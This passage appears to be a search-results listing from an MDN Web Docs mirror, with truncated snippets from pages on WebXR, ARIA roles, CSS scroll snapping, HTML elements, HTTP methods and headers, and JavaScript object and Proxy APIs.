ts source set to the new xrinputsource. or, if the mouse is being used as an off-hand or secondary controller, an auxiliary action is sent instead. when the user releases the mouse button, the select event is sent to the xrsession, then the dom receives a click event. the session then receives the selectend event indicating the completion of the action. when the action is completed, the browser deletes the transient input source, and any appropriate pointerup events are sent. thus, the transient input source is indeed transient—it exists only for the duration of handling the input and will as such not be listed in the input source list. facing and targeting facing is the direction in which the viewer is looking. this isn't provided using an input source. instead, it's obtained using the ...
WebXR performance guide - Web APIs
... for (object in scene) { ... } } now, instead of allocating variables every loop iteration, we're using global constants(or class member constants). this has multiple benefits: the memory allocated for each value or structure will not need to be reallocated every frame. this reduces the potential for triggering garbage collection, and optimizes memory use. you can't accidentally delete the objects that contain your vectors and matrices, since they're constants. you can, however, still replace the contents of each of these objects, so they're reusable. you're now protected from several possible coding mistakes, and your entire animation will be smoother and more performant as well. ...
Example and tutorial: Simple synth keyboard - Web APIs
stopping a tone the notereleased() function is the event handler called when the user releases the mouse button or moves the mouse out of the key that's currently playing. function notereleased(event) { let dataset = event.target.dataset; if (dataset && dataset["pressed"]) { osclist[dataset["octave"][dataset["note"]]].stop(); osclist[dataset["octave"][dataset["note"]]] = null; delete dataset["pressed"]; } } notereleased() uses the data-octave and data-note custom attributes to look up the key's oscillator, then calls the oscillator's inherited stop() method to stop playing the note. finally, the osclist entry for the note is cleared and the data-pressed attribute is removed from the key element (as identified by event.target), to indicate that the note is not currently pl...
Window.requestFileSystem() - Web APIs
ll not implement it. it has even been removed from the proposed specification. do not use this method! syntax this method is prefixed with webkit in all browsers that implement it (that is, google chrome). window.requestfilesystem(type, size, successcallback[, errorcallback]); parameters type the type of storage to request. specify window.temporary if it's acceptable for the browser to delete the files at its own discretion, such as if storage space runs low, or window.persistent if you need the files to remain in place unless the user or the web site or app explicitly permit it. persistent storage requires that the user grant the site quota. size the amount of storage space you wish to have allocated for your app's use. successcallback a function which is invoked when the file sy...
WindowEventHandlers.onbeforeunload - Web APIs
you can bind to window.onbeforeunload to prevent the browser from fully caching the page. if you do so, javascript in the page will be triggered on the subsequent return visit and update the content as desired. specifications the event was or...
XMLHttpRequest.open() - Web APIs
mlhttprequest method open() initializes a newly-created request, or re-initializes an existing one. note: calling this method for an already active request (one for which open() has already been called) is the equivalent of calling abort(). syntax xmlhttprequest.open(method, url[, async[, user[, password]]]) parameters method the http request method to use, such as "get", "post", "put", "delete", etc. ignored for non-http(s) urls. url a domstring representing the url to send the request to. async optional an optional boolean parameter, defaulting to true, indicating whether or not to perform the operation asynchronously. if this value is false, the send() method does not return until the response is received. if true, notification of a completed transaction is provided using event l...
XRWebGLLayer.framebuffer - Web APIs
ways from a standard webgl context. these differences cause the opaque framebuffer to behave more like the default webgl framebuffer: opaque framebuffers may support anti-aliasing, even under webgl 1.0, which don't normally do so. opaque framebuffers' attachments (buffers and the like) can't be inspected or changed. calling functions such as framebuffertexture2d(), framebufferrenderbuffer(), deleteframebuffer(), or getframebufferattachmentparameter() on an opaque framebuffer results in the webgl error invalid_operation (0x0502). opaque framebuffers are considered incomplete and are not available for rendering other than while executing the requestanimationframe() callback. attempting to clear, draw to, or read from the framebuffer results in a webgl invalid_framebuffer_operation error (0x0...
ARIA: tabpanel role - Accessibility
the aria tabpanel role indicates description an element with the tabpanel role associated roles and attributes aria- keyboard interaction key action tab → ← delete required javascript features include note about semantic alternatives to using this role or attribute. the first rule of aria use is you can use a native feature with the semantics and behavior you require already built in, instead of re-purposing an element and adding an aria role, state or property to make it accessible, then do so. then post full details in best practices section below. examples fill in a simple example that nicely shows a typical usage of the property, then perhaps some more complex examples. <div role="tablist...
ARIA: tab role - Accessibility
he keyboard focus order, ideally the active tab's associated tabpanel. → focuses and optionally activates the next tab in the tab list. if the current tab is the last tab in the tab list it activates the first tab. ← focuses and optionally activates the previous tab in the tab list. if the current tab is the first tab in the tab list it activates the last tab. delete when allowed removes the currently selected tab from the tab list. required javascript features while there are ways to build tab-like functionality without javascript, there are no substitute combination of html and css only that will provide the same set of functionality that's required above for accessible tabs with content. example this example combines the role tab with tabli...
Multipart labels: Using ARIA for labels with embedded fields inside them - Accessibility
problem you have a form where you ask your user a question, but the answer is mentioned in the question itself. a classic example we all know from our browser settings is the setting “delete history after x days”. “delete history after” is to the left of the textbox, x is the number, for example 21, and the word “days” follows the textbox, forming a sentence that is easy to understand. if you’re using a screen reader, have you noticed that, when you go to this setting in firefox, it tells you “delete history after 21 days”?, followed by the announcement that you’re in a textbox, and that it contains the number 21. isn’t that cool? you do not need to navigate around to find out the unit. “days” could easily be “months” or “years”, and in many ordinary ...
Architecture - Accessibility
o get the line of text at the caret: many editors, including the mozilla editor, have a strange issue with caret offsets. the caret can sometimes visually appear at the end of a line, but logically it is on the first character on the next line. you can test this in a given editor by pressing the end key on a line, to see whether the caret is shown past the end of the line. to doublecheck, hit the delete key and see if it removes the first char of the next line. therefore, as the user arrows up and down, if you use the accessibletext::caretoffset and retrieve the line with that offset, you may not get the line with the visual caret returned. you are getting the line starting with the logical caret offset, which may be the next line. to get around this problem, mozilla allows the magic value of -2...
Understandable - Accessibility
at least one of the following should be true: submissions are reversible. data is checked for errors, and the user is given an opportunity to correct them. a mechanism is available for confirming and correcting information before final submission. reversible — for any view where data can be entered, provide an equivalent view that allows you to edit or even delete an entry, as appropriate. checking data — as covered in 3.3.1, a combination of client-side and server-side validation should be used to detect errors and display helpful messages to the user to allow them to correct their inputs. confirm and correct — where appropriate, after filling in a series of form fields to perform a task (such as buying a product), the user should be shown a...
CSS reference - CSS: Cascading Style Sheets
Web › CSS › Reference
collapsing replaced elements stacking context visual formatting model dom-css / cssom major object types documentorshadowroot.stylesheets stylesheets[i].cssrules cssrules[i].csstext (selector & style) cssrules[i].selectortext htmlelement.style htmlelement.style.csstext (just style) element.classname element.classlist important methods cssstylesheet.insertrule() cssstylesheet.deleterule() ...
scroll-snap-type-x - CSS: Cascading Style Sheets
itial; scroll-snap-type-x: unset; syntax values none when the visual viewport of this scroll container is scrolled horizontally, it must ignore snap points. mandatory the visual viewport of this scroll container will rest on a snap point if it isn't currently scrolled horizontally. that means it snaps on that point when the scroll action finished, if possible. if content is added, moved, deleted or resized the scroll offset will be adjusted to maintain the resting on that snap point. proximity the visual viewport of this scroll container may come to rest on a snap point if it isn't currently scrolled horizontally considering the user agent's scroll parameters. if content is added, moved, deleted or resized the scroll offset may be adjusted to maintain the resting on that snap point. ...
scroll-snap-type-y - CSS: Cascading Style Sheets
: initial; scroll-snap-type-y: unset; syntax values none when the visual viewport of this scroll container is scrolled vertically, it must ignore snap points. mandatory the visual viewport of this scroll container will rest on a snap point if it isn't currently scrolled vertically. that means it snaps on that point when the scroll action finished, if possible. if content is added, moved, deleted or resized the scroll offset will be adjusted to maintain the resting on that snap point. proximity the visual viewport of this scroll container may come to rest on a snap point if it isn't currently scrolled vertically considering the user agent's scroll parameters. if content is added, moved, deleted or resized the scroll offset may be adjusted to maintain the resting on that snap point. f...
scroll-snap-type - CSS: Cascading Style Sheets
itions in its inline axis only. both the scroll container snaps to snap positions in both of its axes independently (potentially snapping to different elements in each axis). mandatory the visual viewport of this scroll container will rest on a snap point if it isn't currently scrolled. that means it snaps on that point when the scroll action finished, if possible. if content is added, moved, deleted or resized the scroll offset will be adjusted to maintain the resting on that snap point. proximity the visual viewport of this scroll container may come to rest on a snap point if it isn't currently scrolled considering the user agent's scroll parameters. if content is added, moved, deleted or resized the scroll offset may be adjusted to maintain the resting on that snap point. formal defin...
text-decoration-style - CSS: Cascading Style Sheets
to all lines that are set with text-decoration-line. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. if the specified decoration has a specific semantic meaning, like a line-through line meaning that some text has been deleted, authors are encouraged to denote this meaning using an html tag, like <del> or <s>. as browsers can disable styling in some cases, the semantic meaning won't disappear in such a situation. when setting multiple line-decoration properties at once, it may be more convenient to use the text-decoration shorthand property instead. syntax /* keyword values */ text-decoration-style: solid; text-dec...
WAI ARIA Live Regions/API Support - Developer guides
ld index of the inserted accessible object) event_object_show* (fired on the actual new accessible object) object replaced with different object (this happens especially if an object's interfaces or role changes) children_changed::remove followed immediately by children_change::add event_object_hide followed immediately by event_object_show text removed text_changed::delete ia2_event_text_removed (use iaccessibletext::get_oldtext to retrieve the offsets and removed text) text inserted text_changed::insert ia2_event_text_inserted (use iaccessibletext::get_newtext to retrieve the offsets and inserted text) text replaced text_changed::delete followed immediately by text_changed::insert ia2_event_text_removed followed immediately by ia2_...
Rich-Text Editing in Mozilla - Developer guides
eozgmeakqubes2cekkervei1zzuogyflakecezfi0ggtgkebatfmjavxwevookeqgabb9iqdcmrlpjetrqqlhhjinrtq/b7/i8fp8paqa7" /> <img class="intlink" title="add indentation" onclick="formatdoc('outdent');" src="data:image/gif;base64,r0lgodlhfgawamihaaaaadljwlie35gjuaezxtdv3nha7p///yh5baeaaacalaaaaaawabyaaam2elrc/jdkcqg9f2i7u8agqgyk1z2eibil+twqemxhmczsyvj3e4ahk+sfnagtxsqdqww6n5ceads=" /> <img class="intlink" title="delete indentation" onclick="formatdoc('indent');" src="data:image/gif;base64,r0lgodlhfgawaomiaaaaadljwl9vj1ie35gjuaezxtdv3nha7p///////////////////////////////yh5baeaaagalaaaaaawabyaaaq7emljq704650b/x8gemmpgugwhjnzxodkso5oquogo5khbwwesymqscrdhu9voyk5tm9zspfsr9gsjwiaow==" /> <img class="intlink" title="hyperlink" onclick="var slnk=prompt('write the url here','http:\/\/');if(slnk&&slnk!=''&&slnk!='http://...
Making content editable - Developer guides
le="quote" onclick="formatdoc('formatblock','blockquote');" src="data:image/gif;base64,r0lgodlhfgawaiqxac1nqjfrjkbgmt9nqujnsk9xrfj7u2r9qmkbt1igzhmorm6sz4oxw3odz4cl2zsnw6kxyqo306k63bg70btb0rdi3bvi4p///////////////////////////////////yh5baekab8alaaaaaawabyaaavp4ceozgmeakqubes2cekkervei1zzuogyflakecezfi0ggtgkebatfmjavxwevookeqgabb9iqdcmrlpjetrqqlhhjinrtq/b7/i8fp8paqa7" /> <img class="intlink" title="delete indentation" onclick="formatdoc('outdent');" src="data:image/gif;base64,r0lgodlhfgawamihaaaaadljwlie35gjuaezxtdv3nha7p///yh5baeaaacalaaaaaawabyaaam2elrc/jdkcqg9f2i7u8agqgyk1z2eibil+twqemxhmczsyvj3e4ahk+sfnagtxsqdqww6n5ceads=" /> <img class="intlink" title="add indentation" onclick="formatdoc('indent');" src="data:image/gif;base64,r0lgodlhfgawaomiaaaaadljwl9vj1ie35gjuaezxtdv3nha7p/////////////////...
<code>: The Inline Code element - HTML: Hypertext Markup Language
Web › HTML › Element › code
es any dom interface htmlelement up to gecko 1.9.2 (firefox 4) inclusive, firefox implements the htmlspanelement interface for this element. attributes this element only includes the global attributes. example a paragraph of text that includes <code>: <p>the function <code>selectall()</code> highlights all the text in the input field so the user can, for example, copy or delete the text.</p> the output generated by this html looks like this: notes to represent multiple lines of code, wrap the <code> element within a <pre> element. the <code> element by itself only represents a single phrase of code or line of code. a css rule can be defined for the code selector to override the browser's default font face. preferences set by the user might take precedence over th...
<input type="date"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › date
if(month === 'january' | month === 'march' | month === 'may' | month === 'july' | month === 'august' | month === '...
<input type="datetime-local"> - HTML: Hypertext Markup Language
if(month === 'january' || month === 'march' || month === 'may' || month === 'july' || month === 'august' || month ...
<input>: The Input (Form Input) element - HTML: Hypertext Markup Language
Web › HTML › Element › input
range of acceptable values. <input type="range" name="range" min="0" max="25"/> html5 reset a button that resets the contents of the form to default values. not recommended. <input type="reset" name="reset"/> search a single-line text field for entering search strings. line-breaks are automatically removed from the input value. may include a delete icon in supporting browsers that can be used to clear the field. displays a search icon instead of enter key on some devices with dynamic keypads. <input type="search" name="search"/> html5 submit a button that submits the form. <input type="submit" name="submit"/> tel a control for entering a telephone number. displays a telephone keypad in...
<ins> - HTML: Hypertext Markup Language
Web › HTML › Element › ins
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories phrasing content or flow content. permitted content transparent. tag omission none, both the starting and ending tag are mandatory. ...
<nextid>: The NeXT ID element (Obsolete) - HTML: Hypertext Markup Language
Web › HTML › Element › nextid
ection heading</a></h1><p> ... whatever ... </p> <h2><a name="z17">eighth section heading</a></h1><p> ... whatever ... </p> <h2><a name="z18">ninth section heading</a></h1><p> ... whatever ... </p> <h2><a name="z19">tenth section heading</a></h1><p> ... whatever ... </p> </body> </html> they then forward a copy of this document to someone with a next editor, and they delete sections z7 and z19, add ten more, z20 through z29, and then delete paragraphs z24 and z29. so then the nextid value is z30 when it's returned modified: <html> <head> <title> ... whatever ... </title> <link, meta, base, etc. as applicable for the head of this document> <nextid n="z30"> </head> <body> <a name="z0" href="#z4">first section heading</a> ...
<strike> - HTML: Hypertext Markup Language
Web › HTML › Element › strike
ature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. the html <strike> element (or html strikethrough element) places a strikethrough (horizontal line) over text. usage note: this element is deprecated in html 4 and xhtml 1, and obsoleted in html5. if semantically appropriate, i.e., if it represents deleted content, use <del> instead. in all other cases use <s>. dom interface htmlelement attributes this element includes the global attributes. example &lt;strike&gt;: <strike>today's special: salmon</strike> sold out<br /> &lt;s&gt;: <s>today's special: salmon</s> sold out the result of this code is: specifications specification status comment ...
HTML elements reference - HTML: Hypertext Markup Language
Web › HTML › Element
ser. <script> the html <script> element is used to embed executable code or data; this is typically used to embed or refer to javascript code. demarcating edits these elements let you provide indications that specific parts of the text have been altered. element description <del> the html <del> element represents a range of text that has been deleted from a document. <ins> the html <ins> element represents a range of text that has been added to a document. table content the elements here are used to create and handle tabular data. element description <caption> the html <caption> element specifies the caption (or title) of a table. <col> the html <col> element defines a colu...
HTML documentation index - HTML: Hypertext Markup Language
Web › HTML › Index
ecommended options available to choose from within other controls. 87 <dd>: the description details element definition, description details, element, html, html grouping content, reference, web, dd, description list, details the html <dd> element provides the description, definition, or value for the preceding term (<dt>) in a description list (<dl>). 88 <del>: the deleted text element deleted text, element, html, html edits, reference, web, del the html <del> element represents a range of text that has been deleted from a document. 89 <details>: the details disclosure element disclosure box, disclosure widget, element, html, html interactive elements, reference, web, details the html details element (<details>) creates a disclosure ...
Connection management in HTTP/1.x - HTTP
latency of the connection. theoretically, performance could also be improved if two http requests were to be packed into the same tcp message. the typical mss (maximum segment size), is big enough to contain several simple requests, although the demand in size of http requests continues to grow. not all types of http requests can be pipelined: only idempotent methods, that is get, head, put and delete, can be replayed safely: should a failure happen, the pipeline content can simply be repeated. today, every http/1.1-compliant proxy and server should support pipelining, though many have limitations in practice: a significant reason no modern browser activates this feature by default. domain sharding unless you have a very specific immediate need, don't use this deprecated technique; switch ...
Access-Control-Request-Method - HTTP
tp method will be used when the actual request is made. this header is necessary as the preflight request is always an options and doesn't use the same method as the actual request. header type request header forbidden header name yes syntax access-control-request-method: <method> directives <method> one of the http request methods, for example get, post, or delete. examples access-control-request-method: post specifications specification status comment fetchthe definition of 'access-control-request-method' in that specification. living standard initial definition. ...
Alt-Svc - HTTP
Web › HTTP › Headers › Alt-Svc
. alternative service entries can be cached for up to <max-age> seconds, minus the age of the response (from the age header). if the cached entry expires, the client can no longer use this alternative service for new connections. persist=1optional usually cached alternative service entries are cleared on network configuration changes. use of the persist=1 parameter ensures that the entry is not deleted through such changes. multiple entries can be specified in a single alt-svc header using comma as separator. in that case, early entries are considered more preferable. example alt-svc: h2=":443"; ma=2592000; alt-svc: h2=":443"; ma=2592000; persist=1 alt-svc: h2="alt.example.com:443", h2=":443" alt-svc: h3-25=":443"; ma=3600, h2=":443"; ma=3600 specifications specification stat...
Clear-Site-Data - HTTP
ng subdomains. so https://example.com as well as https://stage.example.com, will have cookies cleared. "storage" indicates that the server wishes to remove all dom storage for the origin of the response url. this includes storage mechanisms such as: localstorage (executes localstorage.clear), sessionstorage (executes sessionstorage.clear), indexeddb (for each database execute idbfactory.deletedatabase), service worker registrations (for each service worker registration, execute serviceworkerregistration.unregister), appcache, websql databases, filesystem api data, plugin data (flash via npp_clearsitedata). "executioncontexts" indicates that the server wishes to reload all browsing contexts for the origin of the response (location.reload). "*" (wildcard) indicates that...
CSP: report-uri - HTTP
_encode($json_data, json_pretty_print | json_unescaped_slashes); if (!file_exists($log_file)) { // send an email $message = "the following content-security-policy violation occurred on " . $current_domain . ":\n\n" . $json_data . "\n\nfurther cps violations will be logged to the following log file, but no further email notifications will be sent until this log file is deleted:\n\n" . $log_file; mail($email_address, $email_subject, $message, 'content-type: text/plain;charset=utf-8'); } else if (filesize($log_file) > $log_file_size_limit) { exit(0); } file_put_contents($log_file, $json_data, file_append | lock_ex); } specifications specification status comment content security policy level 3the definition of 're...
Content-Type - HTTP
post or put), the client tells the server what type of data is actually sent. header type entity header forbidden header name no cors-safelisted response header yes cors-safelisted request header yes, with the additional restriction that values can't contain a cors-unsafe request header byte: 0x00-0x1f (except 0x08 (tab)), "():<>?@[\]{}, and 0x7f (delete). it also needs to have a mime type of its parsed value (ignoring parameters) of either application/x-www-form-urlencoded, multipart/form-data, or text/plain. syntax content-type: text/html; charset=utf-8 content-type: multipart/form-data; boundary=something directives media-type the mime type of the resource or the data. charset the character encoding standard. boundary for...
Tk - HTTP
Web › HTTP › Headers › Tk
. c tracking with consent. the origin server believes it has received prior consent for tracking this user, user agent, or device. p potential consent. the origin server does not know, in real-time, whether it has received prior consent for tracking this user, user agent, or device, but promises not to use or share any dnt:1 data until such consent has been determined, and further promises to delete or permanently de-identify within 48 hours any dnt:1 data received for which such consent has not been received. d disregarding dnt. the origin server is unable or unwilling to respect a tracking preference received from the requesting user agent. u updated. the request resulted in a potential change to the tracking status applicable to this user, user agent, or device. examples a tk heade...
Warning - HTTP
Web › HTTP › Headers › Warning
eral be applied to any message, however some warn-codes are specific to caches and can only be applied to response messages. header type general header forbidden header name no syntax warning: <warn-code> <warn-agent> <warn-text> [<warn-date>] directives <warn-code> a three-digit warning number. the first digit indicates whether the warning is required to be deleted from a stored response after validation. 1xx warn-codes describe the freshness or validation status of the response and will be deleted by a cache after deletion. 2xx warn-codes describe some aspect of the representation that is not rectified by a validation and won't be deleted by a cache after validation unless a full response is sent. <warn-agent> the name or pseudonym of...
HTTP Index - HTTP
Web › HTTP › Index
ds are sometimes referred as http verbs. each of them implements a different semantic, but some common features are shared by a group of them: e.g. a request method can be safe, idempotent, or cacheable. 207 connect http, reference, request method the http connect method starts two-way communications with the requested resource. it can be used to open a tunnel. 208 delete http, http method, reference, request method the http delete request method deletes the specified resource. 209 get http, reference, request method the http get method requests a representation of the specified resource. requests using get should only retrieve data. 210 head http, reference, request method the http head method requests the heade...
HTTP Messages - HTTP
Web › HTTP › Messages
rther (like accept-language), by giving context (like referer), or by conditionally restricting it (like if-none). entity headers, like content-length which apply to the body of the request. obviously, there is no such header transmitted if there is no body in the request. body the final part of the request is its body. not all requests have one: requests fetching resources, like get, head, delete, or options, usually don't need one. some requests send data to the server in order to update it: as often the case with post requests (containing html form data). bodies can be broadly divided into two categories: single-resource bodies, consisting of one single file, defined by the two headers: content-type and content-length. multiple-resource bodies, consisting of a multipart body, each ...
200 OK - HTTP
Web › HTTP › Status › 200
he meaning of a success depends on the http request method: get: the resource has been fetched and is transmitted in the message body. head: the entity headers are in the message body. post: the resource describing the result of the action is transmitted in the message body. trace: the message body contains the request message as received by the server. the successful result of a put or a delete is often not a 200 ok but a 204 no content (or a 201 created when the resource is uploaded for the first time). status 200 ok specifications specification title rfc 7231, section 6.3.1: 200 ok hypertext transfer protocol (http/1.1): semantics and content ...
HTTP
Web › HTTP
cribe a resource, or the behavior of the server or the client. custom proprietary headers can be added using the x- prefix; others in an iana registry, whose original content was defined in rfc 4229. iana also maintains a registry of proposed new http message headers. http request methods the different operations that can be done with http: get, post, and also less common requests like options, delete, or trace. http status response codes http response codes indicate whether a specific http request has been successfully completed. responses are grouped in five classes: informational responses, successful responses, redirections, client errors, and servers errors. csp directives the content-security-policy response header fields allows web site administrators to control resources the use...
TypeError: can't redefine non-configurable property "x" - JavaScript
roperty is non-configurable. message typeerror: cannot modify non-writable property {x} (edge) typeerror: can't redefine non-configurable property "x" (firefox) typeerror: cannot redefine property: "x" (chrome) error type typeerror what went wrong? it was attempted to redefine a property, but that property is non-configurable. the configurable attribute controls whether the property can be deleted from the object and whether its attributes (other than writable) can be changed. usually, properties in an object created by an object initializer are configurable. however, for example, when using object.defineproperty(), the property isn't configurable by default. examples non-configurable properties created by object.defineproperty the object.defineproperty() creates non-configurable prope...
SyntaxError: illegal character - JavaScript
r: illegal character // <37e> is not ; but looks like this this should work: "this is actually a string"; 42 - 13; var foo = 'bar'; some editors and ides will notify you or at least use a slightly different highlighting for it, but not all. when something like this happens to your code and you're not able to find the source of the problem, it's often best to just delete the problematic line and retype it. forgotten characters it's easy to forget a character here or there. var colors = ['#000', #333', '#666']; // syntaxerror: illegal character add the missing quote for '#333'. var colors = ['#000', '#333', '#666']; hidden characters when copy pasting code from external sources, there might be invalid characters. watch out! var foo = 'bar';​ // syntaxer...
ReferenceError: assignment to undeclared variable "x" - JavaScript
e constrained in the execution context in which they are declared. undeclared variables are always global. declared variables are created before any code is executed. undeclared variables do not exist until the code assigning to them is executed. declared variables are a non-configurable property of their execution context (function or global). undeclared variables are configurable (e.g. can be deleted). for more details and examples, see the var reference page. errors about undeclared variable assignments occur in strict mode code only. in non-strict code, they are silently ignored. examples invalid cases in this case, the variable "bar" is an undeclared variable. function foo() { 'use strict'; bar = true; } foo(); // referenceerror: assignment to undeclared variable bar valid ca...
setter - JavaScript
en current is assigned a value, it updates log with that value: const language = { set current(name) { this.log.push(name); }, log: [] } language.current = 'en'; console.log(language.log); // ['en'] language.current = 'fa'; console.log(language.log); // ['en', 'fa'] note that current is not defined, and any attempts to access it will result in undefined. removing a setter with the delete operator if you want to remove the setter, you can just delete it: delete language.current; defining a setter on existing objects using defineproperty to append a setter to an existing object, use object.defineproperty(). const o = {a: 0}; object.defineproperty(o, 'b', { set: function(x) { this.a = x / 2; } }); o.b = 10; // runs the setter, which assigns 10 / 2 (5) to the 'a' property ...
Array.prototype.copyWithin() - JavaScript
n + relativeend, 0) : math.min(relativeend, len); // step 15. var count = math.min(final - from, len - to); // steps 16-17. var direction = 1; if (from < to && to < (from + count)) { direction = -1; from += count - 1; to += count - 1; } // step 18. while (count > 0) { if (from in o) { o[to] = o[from]; } else { delete o[to]; } from += direction; to += direction; count--; } // step 19. return o; }, configurable: true, writable: true }); } examples using copywithin [1, 2, 3, 4, 5].copywithin(-2) // [1, 2, 3, 1, 2] [1, 2, 3, 4, 5].copywithin(0, 3) // [4, 5, 3, 4, 5] [1, 2, 3, 4, 5].copywithin(0, 3, 4) // [4, 2, 3, 4, 5] [1, 2, 3, 4, 5].copywithin(-2, -3, -1) // ...
Array.prototype.findIndex() - JavaScript
ed is used. the range of elements processed by findindex() is set before the first invocation of callback. callback will not process the elements appended to the array after the call to findindex() begins. if an existing, unvisited element of the array is changed by callback, its value passed to the callback will be the value at the time findindex() visits the element's index. elements that are deleted are still visited. polyfill // https://tc39.github.io/ecma262/#sec-array.prototype.findindex if (!array.prototype.findindex) { object.defineproperty(array.prototype, 'findindex', { value: function(predicate) { // 1. let o be ? toobject(this value). if (this == null) { throw new typeerror('"this" is null or not defined'); } var o = object(this); // 2...
Array.prototype.length - JavaScript
also relationship between length and numerical properties. property attributes of array.prototype.length writable yes enumerable no configurable no writable: if this attribute set to false, the value of the property cannot be changed. configurable: if this attribute set to false, any attempts to delete the property or change its attributes (writable, configurable, or enumerable) will fail. enumerable: if this attribute set to true, the property will be iterated over during for or for..in loops. examples iterating over an array in the following example, the array numbers is iterated through by looking at the length property. the value in each element is then doubled. var numbers = [1, 2, ...
Array - JavaScript
ts)) // ['0', '1', '2', '5'] console.log(fruits.length) // 6 increasing the length. fruits.length = 10 console.log(fruits) // ['banana', 'apple', 'peach', empty x 2, 'mango', empty x 4] console.log(object.keys(fruits)) // ['0', '1', '2', '5'] console.log(fruits.length) // 10 console.log(fruits[8]) // undefined decreasing the length property does, however, delete elements. fruits.length = 2 console.log(object.keys(fruits)) // ['0', '1'] console.log(fruits.length) // 2 this is explained further on the array.length page. creating an array using the result of a match the result of a match between a regexp and a string can create a javascript array. this array has properties and elements which provide information about the match. such an array is r...
Function.prototype.bind() - JavaScript
at(), function.prototype.call() and function.prototype.apply(), built-in methods to have their original values. the partial implementation creates functions that do not have immutable "poison pill" caller and arguments properties that throw a typeerror upon get, set, or deletion. (this could be added if the implementation supports object.defineproperty, or partially implemented [without throw-on-delete behavior] if the implementation supports the __definegetter__ and __definesetter__ extensions.) the partial implementation creates functions that have a prototype property. (proper bound functions have none.) the partial implementation creates bound functions whose length property does not agree with that mandated by ecma-262: it creates functions with length of 0. a full implementation—depen...
Object.create() - JavaScript
ion code // in the constructor function, // the object.create() cannot reflect it // create a new object whose prototype is a new, empty // object and add a single property 'p', with value 42. ...
Object.defineProperties() - JavaScript
values are objects describing those properties. each value in props must be either a data descriptor or an accessor descriptor; it cannot be both (see object.defineproperty() for more details). data descriptors and accessor descriptors may optionally contain the following keys: configurable true if and only if the type of this property descriptor may be changed and if the property may be deleted from the corresponding object. defaults to false. enumerable true if and only if this property shows up during enumeration of the properties on the corresponding object. defaults to false. a data descriptor also has the following optional keys: value the value associated with the property. can be any valid javascript value (number, object, function, etc). defaults to undefin...
Object.getOwnPropertyDescriptor() - JavaScript
y be changed (data descriptors only). get a function which serves as a getter for the property, or undefined if there is no getter (accessor descriptors only). set a function which serves as a setter for the property, or undefined if there is no setter (accessor descriptors only). configurable true if and only if the type of this property descriptor may be changed and if the property may be deleted from the corresponding object. enumerable true if and only if this property shows up during enumeration of the properties on the corresponding object. examples using object.getownpropertydescriptor var o, d; o = { get foo() { return 17; } }; d = object.getownpropertydescriptor(o, 'foo'); // d is { // configurable: true, // enumerable: true, // get: /*the getter function*/, // set:...
Object.getOwnPropertyDescriptors() - JavaScript
y be changed (data descriptors only). get a function which serves as a getter for the property, or undefined if there is no getter (accessor descriptors only). set a function which serves as a setter for the property, or undefined if there is no setter (accessor descriptors only). configurable true if and only if the type of this property descriptor may be changed and if the property may be deleted from the corresponding object. enumerable true if and only if this property shows up during enumeration of the properties on the corresponding object. examples creating a shallow clone whereas the object.assign() method will only copy enumerable and own properties from a source object to a target object, you are able to use this method and object.create() for a shallow copy between two unk...
Object.isFrozen() - JavaScript
property is also extensible, // ergo not frozen. var oneprop = { p: 42 }; object.isfrozen(oneprop); // === false // preventing extensions to the object still doesn't // make it frozen, because the property is still // configurable (and writable). object.preventextensions(oneprop); object.isfrozen(oneprop); // === false // ...but then deleting that property makes the object // vacuously frozen. delete oneprop.p; object.isfrozen(oneprop); // === true // a non-extensible object with a non-writable // but still configurable property is not frozen. var nonwritable = { e: 'plep' }; object.preventextensions(nonwritable); object.defineproperty(nonwritable, 'e', { writable: false }); // make non-writable object.isfrozen(nonwritable); // === false // changing that property to non-configurable // th...
Object.preventExtensions() - JavaScript
e non-extensible. return value the object being made non-extensible. description an object is extensible if new properties can be added to it. object.preventextensions() marks an object as no longer extensible, so that it will never have properties beyond the ones it had at the time it was marked as non-extensible. note that the properties of a non-extensible object, in general, may still be deleted. attempting to add new properties to a non-extensible object will fail, either silently or by throwing a typeerror (most commonly, but not exclusively, when in strict mode). object.preventextensions() only prevents addition of own properties. properties can still be added to the object prototype. this method makes the [[prototype]] of the target immutable; any [[prototype]] re-assignment wil...
Proxy() constructor - JavaScript
sed version of the target's property accessor. handler functions this section lists all the handler functions you can define. handler functions are sometimes called traps, because they trap calls to the underlying target object. handler.apply() a trap for a function call. handler.construct() a trap for the new operator. handler.defineproperty() a trap for object.defineproperty. handler.deleteproperty() a trap for the delete operator. handler.get() a trap for getting property values. handler.getownpropertydescriptor() a trap for object.getownpropertydescriptor. handler.getprototypeof() a trap for object.getprototypeof. handler.has() a trap for the in operator. handler.isextensible() a trap for object.isextensible. handler.ownkeys() a trap for object.getownpropertynames and...
Proxy.revocable() - JavaScript
in revoked and can be garbage collected. calling revoke() again has no effect. examples using proxy.revocable var revocable = proxy.revocable({}, { get: function(target, name) { return "[[" + name + "]]"; } }); var proxy = revocable.proxy; console.log(proxy.foo); // "[[foo]]" revocable.revoke(); console.log(proxy.foo); // typeerror is thrown proxy.foo = 1 // typeerror again delete proxy.foo; // still typeerror typeof proxy // "object", typeof doesn't trigger any trap specifications specification ecmascript (ecma-262)the definition of 'proxy revocation functions' in that specification. ...
Proxy - JavaScript
zilla.org/docs/dom/document.cookie#a_little_framework.3a_a_complete_cookies_reader.2fwriter_with_full_unicode_support */ var doccookies = new proxy(doccookies, { get: function (otarget, skey) { return otarget[skey] || otarget.getitem(skey) || undefined; }, set: function (otarget, skey, vvalue) { if (skey in otarget) { return false; } return otarget.setitem(skey, vvalue); }, deleteproperty: function (otarget, skey) { if (skey in otarget) { return false; } return otarget.removeitem(skey); }, enumerate: function (otarget, skey) { return otarget.keys(); }, ownkeys: function (otarget, skey) { return otarget.keys(); }, has: function (otarget, skey) { return skey in otarget || otarget.hasitem(skey); }, defineproperty: function (otarget, skey, o...
Comparing Reflect and Object methods - JavaScript
